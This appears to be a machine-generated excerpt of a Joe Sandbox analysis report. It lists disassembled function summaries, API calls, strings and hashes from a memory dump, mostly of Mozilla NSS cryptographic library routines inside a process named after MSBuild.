label = "%.32s", xrefs: 6CCA295E
pInfo = 0x%p, xrefs: 6CCA28EA
CKF_USER_PIN_INIT, xrefs: 6CCA29E5
hardware version: %d.%d, xrefs: 6CCA2A89
maxRwSessions = %u, RwSessions = %u, xrefs: 6CCA2A61
CKF_RNG, xrefs: 6CCA2A13, 6CCA2A20
slotID = 0x%x, xrefs: 6CCA28D1
CKF_LOGIN_REQUIRED, xrefs: 6CCA29F3, 6CCA2A1E

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo
API String ID: 2460313690-1106672779
Opcode ID: b983b484bc95c402d375e1ebd9ebd3365a03af6c007b3535863d8a2d8fbd5865
Instruction ID: 50a3472b02a993c4ffb1ad8ba736ee72467cd37abaac210f1725da455ae8f5ad
Opcode Fuzzy Hash: b983b484bc95c402d375e1ebd9ebd3365a03af6c007b3535863d8a2d8fbd5865
Instruction Fuzzy Hash: EA513CB1901051AFFB008F90CD9CB5577B9AB4130CF498075ED099BA22EB31FC49CB61

Function 6CCD4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CCC4F51,00000000), ref: 6CCD4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CCC4F51,00000000), ref: 6CCD4C5B
PR_smprintf.NSS3(6CDAAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CCC4F51,00000000), ref: 6CCD4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CCC4F51,00000000), ref: 6CCD4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCD4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCD4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCD4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CCC4F51,00000000), ref: 6CCD4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CCC4F51,00000000), ref: 6CCD4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CCD4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CCD4DA2
free.MOZGLUE(?), ref: 6CCD4DB9
free.MOZGLUE(00000000), ref: 6CCD4DCF

Strings

0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CCD4D9D
rootFlags, xrefs: 6CCD4D47
any, xrefs: 6CCD4C96
ootT, xrefs: 6CCD4D1A
0x%08lx=[%s %s], xrefs: 6CCD4D80
slotFlags, xrefs: 6CCD4D34
every, xrefs: 6CCD4CA1
%s,%s, xrefs: 6CCD4C4B
rust, xrefs: 6CCD4D22
timeout, xrefs: 6CCD4C91

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 075961fce7fcfbfbb45985d87fb07b1d29ea065a279c3a319e8d7de4726915ca
Instruction ID: dc436801d9540fb005f2234f776b6eec5a9bf449b79a036d588117ab9b30925c
Opcode Fuzzy Hash: 075961fce7fcfbfbb45985d87fb07b1d29ea065a279c3a319e8d7de4726915ca
Instruction Fuzzy Hash: 73419BB1D00141ABEB12DF55DC84ABB3669AF82308F0A4124EB1A4BB11F731E925C7D3

Function 6CCB6910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CCB6943

Part of subcall function 6CCD4210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,B53A3FF1,flags,?,00000000,?,6CCB5947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6CCD4220
Part of subcall function 6CCD4210: NSSUTIL_ArgGetParamValue.NSS3(?,6CCB5947,?,?,?,?,?,?,00000000,?,00000000,?,6CCB7703,?,00000000,00000000), ref: 6CCD422D
Part of subcall function 6CCD4210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CCB7703), ref: 6CCD424B
Part of subcall function 6CCD4210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CCB7703,?,00000000), ref: 6CCD4272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CCB6957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CCB6972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CCB6983

Part of subcall function 6CCD3EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6CCAC79F,?,6CCB6247,70E85609,?,?,6CCAC79F,6CCB781D,?,6CCABD52,00000001,70E85609,D85D8B04,?), ref: 6CCD3EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CCB69AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CCB69BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CCB69D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CCB69DF

Part of subcall function 6CCD4020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,766B4C80,?,6CCD50B7,?), ref: 6CCD4041

free.MOZGLUE(00000000), ref: 6CCB69F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6CCB6A04
free.MOZGLUE(00000000), ref: 6CCB6A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6CCB6A29
free.MOZGLUE(00000000), ref: 6CCB6A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6CCB6A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6CCB6A5B

Strings

certPrefix=, xrefs: 6CCB69B8
keyPrefix=, xrefs: 6CCB69CC
nocertdb, xrefs: 6CCB6951
configdir=, xrefs: 6CCB69A4
readOnly, xrefs: 6CCB693D
nokeydb, xrefs: 6CCB6968
flags, xrefs: 6CCB6937, 6CCB6942, 6CCB6956, 6CCB696D

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: 0faa7f0e8a04189d77ddc8f3d8556ea250793def66e47f01f21b2f4efe28bbe8
Instruction ID: 6f5222adbcb34fabbe715034ea68730db79109a5160159fd24e4fecb4223432c
Opcode Fuzzy Hash: 0faa7f0e8a04189d77ddc8f3d8556ea250793def66e47f01f21b2f4efe28bbe8
Instruction Fuzzy Hash: A54167F1E402066BEB00DBB5EC81B5B77ACAF15248F190430EA0AE6B51F735DA58C7A1

Function 6CCA4950 Relevance: 36.9, APIs: 13, Strings: 8, Instructions: 170COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_CopyObject), ref: 6CCA4976
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CCA49A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCA49B6

Part of subcall function 6CD8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CCA49CC
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CCA49FA
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCA4A09
PR_LogPrint.NSS3(?,00000000), ref: 6CCA4A1F
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CCA4A40
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CCA4A5C
PR_LogPrint.NSS3( phNewObject = 0x%p,?), ref: 6CCA4A7C
PL_strncpyz.NSS3(?, *phNewObject = 0x%x,00000050), ref: 6CCA4B17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCA4B26
PR_LogPrint.NSS3(?,00000000), ref: 6CCA4B3C

Strings

C_CopyObject, xrefs: 6CCA4971
hObject = 0x%x, xrefs: 6CCA49E4, 6CCA49F4
ulCount = %d, xrefs: 6CCA4A57
*phNewObject = 0x%x, xrefs: 6CCA4B01, 6CCA4B11
pTemplate = 0x%p, xrefs: 6CCA4A39
hSession = 0x%x, xrefs: 6CCA4991, 6CCA49A1
phNewObject = 0x%p, xrefs: 6CCA4A77
(CK_INVALID_HANDLE), xrefs: 6CCA49AF, 6CCA4A02, 6CCA4B1F

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phNewObject = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ phNewObject = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_CopyObject
API String ID: 1003633598-1222337137
Opcode ID: 45e094a7681896b47a27dd49b0184fc9f89b83e06796d72d6d39d3da66390419
Instruction ID: 418434e719b4a7e5bc5574569846bbc97de1e92efa6b1d82d8d01922dca99a32
Opcode Fuzzy Hash: 45e094a7681896b47a27dd49b0184fc9f89b83e06796d72d6d39d3da66390419
Instruction Fuzzy Hash: 9251D634A02115BFEB00DF94DC88F9A7779AB4630DF094055F9056BA61EB20AD1ACBA5

Function 6CCA08F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6CCA094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCA0953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6CCA096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6CCA0974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CCA098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CCA0995

Part of subcall function 6CCA1800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CCA1860
Part of subcall function 6CCA1800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6CCA09BF), ref: 6CCA1897
Part of subcall function 6CCA1800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CCA18AA
Part of subcall function 6CCA1800: memcpy.VCRUNTIME140(?,?,?), ref: 6CCA18C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CCA0B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CCA0B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CCA0B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6CCA0B78

Strings

info_hash, xrefs: 6CCA09E0
base_nonce, xrefs: 6CCA0B06
psk_id_hash, xrefs: 6CCA09B5
exp, xrefs: 6CCA0B36
key, xrefs: 6CCA0ACB
secret, xrefs: 6CCA0A88

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 519c1e9649a8ad2bb97850aef24c012c186e9f68af8c2540fa599683e0976eb2
Instruction ID: 92d0ffede467a9ca76274313223f4a3c1bfda43594ce6747d22f3677a180c63a
Opcode Fuzzy Hash: 519c1e9649a8ad2bb97850aef24c012c186e9f68af8c2540fa599683e0976eb2
Instruction Fuzzy Hash: 07817B75604346AFD700CF95C88099AF7E8FF8C708F048919F99997761E731E91ACBA2

Function 6CCA89B0 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 149COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GenerateKey), ref: 6CCA89D6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CCA8A04
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCA8A13

Part of subcall function 6CD8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CCA8A29
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CCA8A4B
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CCA8A67
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CCA8A83
PR_LogPrint.NSS3( phKey = 0x%p,?), ref: 6CCA8AA1
PL_strncpyz.NSS3(?, *phKey = 0x%x,00000050), ref: 6CCA8B43
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCA8B52
PR_LogPrint.NSS3(?,00000000), ref: 6CCA8B68

Strings

*phKey = 0x%x, xrefs: 6CCA8B2D, 6CCA8B3D
phKey = 0x%p, xrefs: 6CCA8A9C
ulCount = %d, xrefs: 6CCA8A7E
pTemplate = 0x%p, xrefs: 6CCA8A62
hSession = 0x%x, xrefs: 6CCA89EE, 6CCA89FE
(CK_INVALID_HANDLE), xrefs: 6CCA8A0C, 6CCA8B4B
C_GenerateKey, xrefs: 6CCA89D1
pMechanism = 0x%p, xrefs: 6CCA8A46

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ pTemplate = 0x%p$ phKey = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GenerateKey
API String ID: 1003633598-2039122979
Opcode ID: b7f89feca253364e5990c74ca893f3e033ebc90927b1e65425c77aae34fd9c4e
Instruction ID: bf140ce4f31a30bfadf7bcf912a60cbfa5c0f33f0bd7d8019ed34ba162b0d01c
Opcode Fuzzy Hash: b7f89feca253364e5990c74ca893f3e033ebc90927b1e65425c77aae34fd9c4e
Instruction Fuzzy Hash: C051B534A02155BFEB00DF54DD8CF9B7779EB4630CF458066E9046BA61E730AC5ACBA1

Function 6CCB2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CCB2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CCB2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CCB2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CCB2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CC84F1C,?,-00000001,00000000,?), ref: 6CCB2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CC84F1C,?,-00000001,00000000), ref: 6CCB2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CCB2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CCB2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CCB2EF8
PR_Unlock.NSS3(?), ref: 6CCB2F62
TlsGetValue.KERNEL32 ref: 6CCB2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CCB2F9E
PR_Unlock.NSS3(?), ref: 6CCB2FCA
TlsGetValue.KERNEL32 ref: 6CCB301A
EnterCriticalSection.KERNEL32(?), ref: 6CCB302E
PR_Unlock.NSS3(?), ref: 6CCB3066
PR_SetError.NSS3(00000000,00000000), ref: 6CCB3085
PR_Unlock.NSS3(?), ref: 6CCB30EC
TlsGetValue.KERNEL32 ref: 6CCB310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CCB3124
PR_Unlock.NSS3(?), ref: 6CCB314C

Part of subcall function 6CC99180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CCC379E,?,6CC99568,00000000,?,6CCC379E,?,00000001,?), ref: 6CC9918D
Part of subcall function 6CC99180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CCC379E,?,6CC99568,00000000,?,6CCC379E,?,00000001,?), ref: 6CC991A0

Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607AD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607CD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607D6
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBF204A), ref: 6CC607E4
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,6CBF204A), ref: 6CC60864
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC60880
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,6CBF204A), ref: 6CC608CB
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608D7
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608FB

PR_SetError.NSS3(00000000,00000000), ref: 6CCB316D

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: b1523d944552fcc8a494c52e1ec1f6cf3339e3a7fa504912d8ff344b837a867f
Instruction ID: 9be679554588d04a2757893f9b37767a2a2f66e35ab9de9bef87b720fc9ed98a
Opcode Fuzzy Hash: b1523d944552fcc8a494c52e1ec1f6cf3339e3a7fa504912d8ff344b837a867f
Instruction Fuzzy Hash: 37F190B5D002199FEF00DFA5D884BAABBB8FF05318F184169ED04A7711EB31E995CB91

Function 6CCDC980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6CCDAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CCDC98E

Part of subcall function 6CCD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC787ED,00000800,6CC6EF74,00000000), ref: 6CCD1000
Part of subcall function 6CCD0FF0: PR_NewLock.NSS3(?,00000800,6CC6EF74,00000000), ref: 6CCD1016
Part of subcall function 6CCD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CC787ED,00000008,?,00000800,6CC6EF74,00000000), ref: 6CCD102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6CCDAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CCDC9A1

Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD10F3
Part of subcall function 6CCD10C0: EnterCriticalSection.KERNEL32(?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD110C
Part of subcall function 6CCD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1141
Part of subcall function 6CCD10C0: PR_Unlock.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1182
Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6CCDAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CCDC9D3

Part of subcall function 6CCD0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CCD08B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6CCDAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CCDC9E6

Part of subcall function 6CCCFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CCC8D2D,?,00000000,?), ref: 6CCCFB85
Part of subcall function 6CCCFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CCCFBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6CCDAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CCDC9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6CCDAEB0,?,00000004,00000001,?,00000000,?), ref: 6CCDCA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6CCDAEB0,?,00000004,00000001), ref: 6CCDCA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6CCDAEB0,?,00000004), ref: 6CCDCA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6CCDCA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CCDAEB0,?,00000004), ref: 6CCDCA6D
PR_Now.NSS3 ref: 6CCDCAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CCDCB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6CCDCB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6CCDCB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6CCDCBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CCDCBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CCDCBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CCDCC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6CCDCC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CCDCC5B

Part of subcall function 6CCD10C0: PL_ArenaAllocate.NSS3(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CCDCC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CCDCC89

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
